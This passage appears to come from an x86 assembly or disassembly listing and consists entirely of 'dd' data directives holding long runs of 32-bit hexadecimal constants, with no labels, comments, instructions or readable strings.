		dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah,	840111DCh
		dd 0E4BAC766h, 1E90ECh,	0FF5014E3h, 0C1E0166Fh,	3205C000h
		dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h
		dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h
		dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h,	82960136h
		dd 7E908173h, 3B8ECE3h,	3C01AF98h, 0C6BFC241h, 7DC06BCh
		dd 9C70038h, 0CC5C105h,	1717E29h, 87C0CC3Bh, 0CD410D80h
		dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h,	11E0B80h
		dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h,	0DBC11B00h
		dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch
		dd 1DC4138h, 81D4C114h,	15C040D5h, 0C0D70001h, 41168017h
		dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h
		dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h
		dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h
		dd 13D04FDh, 2083C0FFh,	0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h
		dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h,	0EBC829FDh
		dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh,	0ED0BC12Dh
		dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h
		dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h
		dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h
		dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch
		dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h
		dd 0AB701Ch, 81A9C169h,	687040A8h, 0B8027867h, 7900B947h
		dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h
		dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h
		dd 403BB681h, 87720E76h, 80B340B2h, 81B10173h, 4170DC71h
		dd 5010B070h, 910090C1h, 93015140h, 528053C0h, 76927441h
		dd 1C567896h, 1971C57h,	8195C155h, 54CD4094h, 0C0019C01h
		dd 415D805Ch, 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah
		dd 5B60E09Bh, 59C099BEh, 41581F80h, 0DD88DF98h,	9F491D48h
		dd 0CE4B9889h, 8A1D818Bh, 4E874A40h, 8F208E87h,	40014F80h
		dd 4CEE4D8Dh, 88C4138h,	0B84C144h, 0B1814085h, 8747C087h
		dd 864146CEh, 42678247h, 831C4380h, 0C19C003Dh,	38EC6681h
		dd 7C07A8DBh, 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh
		dd 899D505Dh
		dd 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah,	5F531D0Eh
		dd 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh, 0C8E36E59h
		dd 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h, 2FE83D73h
		dd 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h, 31EC13h
		dd 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h, 0F4154CF0h
		dd 30F64Bh, 0A101B247h,	0E8217061h, 6E1BBB1Eh, 0D63A9680h
		dd 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah
		dd 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h,	9C3B24h
		dd 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h
		dd 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h
		dd 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h
		dd 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h,	0FC0680F8h
		dd 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh
		dd 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h,	8DB38615h
		dd 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh
		dd 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh
		dd 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h
		dd 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h,	8C0E5567h
		dd 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h
		dd 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h
		dd 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h
		dd 200DEE2h, 23D6F7F3h,	275DF2h, 3920B22h, 767E1C6h, 40C3D500h
		dd 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh
		dd 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h
		dd 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h
		dd 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h
		dd 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h,	0B33C4E82h
		dd 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh
		dd 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh
		dd 10878021h, 52801E34h, 938013Ah, 97791257h, 0F3C10E0h
		dd 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh
		dd 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h, 0A9F35C88h
		dd 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h
		dd 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h,	86164839h
		dd 524A1CEh, 6F315314h,	20C897Ah, 48202523h, 0C3001CBCh
		dd 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h,	2301206h
		dd 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h, 84000469h
		dd 0B22A2041h, 296EECh,	1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh
		dd 6B002812h, 38201042h, 0D6591F95h, 0A1880336h, 13B01757h
		dd 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh
		dd 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah,	0C2D9093h
		dd 18598832h, 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h
		dd 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h,	0BCB0424h
		dd 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h, 165BF362h
		dd 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h,	1C041433h
		dd 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h,	0D230CCAh
		dd 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h
		dd 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h,	0CAA8204Ah
		dd 7F2E148h, 57BEA22Ah,	54C221F9h, 0F1FC4AB3h, 89B0C308h
		dd 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h
		dd 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h
		dd 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h
		dd 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h
		dd 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah
		dd 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch,	0EE881E45h
		dd 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h,	0B0683CE4h
		dd 647585h, 0B80A7320h,	55357469h, 0C305E901h, 0B448F87Eh
		dd 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh,	123BB222h
		dd 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h,	8908A314h
		dd 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h
		dd 0FE081380h, 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch
		dd 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h
		dd 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h
		dd 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh
		dd 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h
		dd 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h,	1BEC80E8h
		dd 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h
		dd 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h
		dd 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h
		dd 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh
		dd 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h
		dd 89F400E3h, 2EBF804h,	0C800C031h, 0BF841090h,	0C970F1h
		dd 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h, 7F349455h
		dd 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h
		dd 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh,	0D54F850Fh
		dd 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh
		dd 580BC98Ah, 7402320h,	151AD042h, 3DEB6013h, 1B04E57Ch
		dd 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h,	7CD28580h
		dd 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h,	4A02C083h
		dd 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h
		dd 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h
		dd 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h,	0AC9083F6h
		dd 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h
		dd 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h,	0C7C500EFh
		dd 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h,	34FB1056h
		dd 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h, 91590FEh
		dd 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh
		dd 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h,	20048D0h
		dd 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh, 830F3D05h
		dd 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch
		dd 3916F76Ah, 8C8F878h,	39A0200h, 80B96019h, 0C1FE00E2h
		dd 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh, 48777EB8h
		dd 2C991F68h, 80CD4A5h,	40D05900h, 0D250C653h, 0FD8A3AE7h
		dd 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h
		dd 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h
		dd 1560A1Dh, 463576DAh,	0DC2A5420h, 250310B2h, 7475F8Bh
		dd 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h, 9D8B50CEh
		dd 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h,	53D23E01h
		dd 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h,	63EED84Eh
		dd 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h
		dd 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h
		dd 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h,	58E14BECh
		dd 0E244D2Ch
		dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h,	0CA00AD3Eh
		dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h
		dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh
		dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h,	6F00794Ah
		dd 50CE8EDh, 7112F675h,	784D00F8h, 7CA85DF0h, 1F1345E1h
		dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h
		dd 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh,	0BF0B3CD5h
		dd 0B59F9Ah, 44CE4653h,	6BF300B7h, 0A2EEF47Bh, 2400D23Ch
		dd 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh
		dd 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh
		dd 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h
		dd 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h,	11C1D08h
		dd 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh
		dd 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h, 80401C93h
		dd 758D3803h, 0F9601317h, 2870A203h, 53620B72h,	0CC80C214h
		dd 55B39296h, 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh
		dd 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch,	1D453E9h
		dd 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch
		dd 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h,	443D6C61h
		dd 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h,	6C118721h
		dd 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h
		dd 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah
		dd 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh
		dd 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h
		dd 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h
		dd 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h
		dd 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh,	0D9B47C01h
		dd 50E46E53h, 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh
		dd 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h
		dd 3A3901F2h, 0E758250h, 41020742h, 78E95303h, 1CCBC4h
		dd 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h
		dd 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h
		dd 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h,	311600CFh
		dd 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch,	91BD072Ah
		dd 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh,	0AEAD0141h
		dd 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah,	0EC2CA7D4h
		dd 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h,	0E0F3CB9Ch
		dd 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh
		dd 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h
		dd 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh
		dd 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h
		dd 54B98Dh, 0AEF3FD4Fh,	790B8FCh, 1CA483ACh, 0E9ABA204h
		dd 70816641h, 4717BA62h, 0C50040A7h, 27A09184h,	24F50774h
		dd 0F8FA80h, 0FC1390Dh,	920060FEh, 1D495057h, 8CFE89h
		dd 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h,	0AE80841Fh
		dd 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h,	2300A56Ah
		dd 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh
		dd 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h
		dd 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h
		dd 3A77EF56h, 0A9D319h,	0EBE2BB0Dh, 4910434Fh, 0DD07901Fh
		dd 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh
		dd 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh,	173936E9h
		dd 95380C9h, 480F34C3h,	4CAE4C41h, 7794050Ch, 830011BCh
		dd 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h,	0C201E300h
		dd 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h,	14012A07h
		dd 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh,	0C3006978h
		dd 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h
		dd 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h,	0BA1C1318h
		dd 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h
		dd 0D43B060Eh, 7D485Ch,	82B13E2Ch, 1A72D939h, 8D6C9000h
		dd 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h
		dd 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h,	4D21832h
		dd 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h
		dd 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh
		dd 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch,	100E954h
		dd 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h
		dd 3B558F8h, 33C812A0h,	8FF05DBh, 57A9019Fh, 0FC2DE241h
		dd 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah
		dd 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh,	42001D40h
		dd 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh,	0AC09B93Fh
		dd 9109B5h, 0F5EF123Eh,	8BF61EC4h, 0DD807E06h, 0BE11F9ECh
		dd 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch
		dd 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h
		dd 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh,	158A0582h
		dd 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh
		dd 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h
		dd 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h
		dd 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh
		dd 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh
		dd 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h
		dd 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh
		dd 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h,	2833B32h
		dd 3E92042Ch, 3B66A080h, 7127506h, 76C98500h, 45BE8B20h
		dd 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h
		dd 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h, 4790C362h
		dd 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h,	0F01F84h
		dd 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh, 344F9B40h
		dd 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h, 0A0380C4h
		dd 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h, 19FA00C4h
		dd 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh, 899E2099h
		dd 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h,	320D0598h
		dd 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh, 1A6DC9h
		dd 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch
		dd 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah, 0A282701Dh
		dd 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh
		dd 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch,	80792075h
		dd 1757D054h, 11001993h, 0D2515303h, 0A04D14h, 0F78B4781h
		dd 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h, 7F468A3Ch
		dd 88050920h, 699D7F9h,	87578580h, 30871C2h, 0A2B45005h
		dd 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh, 0BAE12A76h
		dd 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h, 754F8568h
		dd 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h,	50201253h
		dd 915189D4h, 80D00E3Ch
		dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h
		dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h,	4300EC90h
		dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh,	792A4D6h
		dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h
		dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh,	0AF6CB8h
		dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h
		dd 6C7002Ch, 2811D6D4h,	9B03CB42h, 22431AFDh, 7AD998AAh
		dd 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h
		dd 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h
		dd 0D794E8h, 8DD38549h,	0E8CB3122h, 7B80BE1Eh, 4C7E04C0h
		dd 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h,	52D6EE00h
		dd 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h
		dd 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h,	0CF806A9h
		dd 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh,	3B2C9FA0h
		dd 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h,	0B008F49Fh
		dd 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h
		dd 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h
		dd 0EC880E11h, 29604276h, 5245CC6h, 55455900h, 0EB3125B2h
		dd 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h,	77F1799Ch
		dd 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh,	0EE9320h
		dd 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h,	93F20052h
		dd 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h
		dd 730A8BB0h, 806D400h,	95419FE8h, 0B8495F01h, 0B87E007Eh
		dd 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h
		dd 95F00A9Eh, 3CE25EAh,	0DB481408h, 0F7A0D81Eh,	3D00A5D0h
		dd 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h
		dd 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h,	0C8005220h
		dd 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h
		dd 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h,	0D900AB10h
		dd 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h
		dd 0F8573ECEh, 54964h, 0B814922Ah, 6741526h, 5869A703h
		dd 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h,	10FA03B2h
		dd 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h
		dd 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh
		dd 2E467588h, 0E5F45Ah,	5DD05110h, 0E800F83Eh, 0D825996Fh
		dd 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h
		dd 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh
		dd 0FF21CC43h, 274D10h,	60DEDF75h, 7DF9B1E7h, 0A7B36400h
		dd 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h
		dd 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh
		dd 3300A0FCh, 13156A8h,	200BE5h, 5C15D524h, 6051F8C6h
		dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
		dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch,	57003F59h
		dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh,	503089D9h
		dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
		dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h,	4B011029h
		dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
		dd 9100187Ah, 235060Ch,	0E2A876h, 5A402D7Ch, 52643155h
		dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
		dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh,	14020800h
		dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
		dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah,	0D65048A4h
		dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h,	6774292Eh
		dd 32003BD9h, 1120C61h,	2036A5Bh, 0AB574555h, 946330C3h
		dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
		dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
		dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
		dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
		dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
		dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h,	0E7C0F8CDh
		dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h,	86957Eh
		dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh,	4280E2Eh
		dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
		dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
		dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
		dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h,	0CD770006h
		dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h,	0BEA09A95h
		dd 74EB0D3h, 3F8624FEh,	0E72230D2h, 420F01B7h, 56A57h
		dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
		dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
		dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
		dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
		dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h,	65AD7AAAh
		dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
		dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
		dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
		dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
		dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h,	8084B14Ah
		dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h,	0CAB803F9h
		dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
		dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
		dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh,	16EC89h
		dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
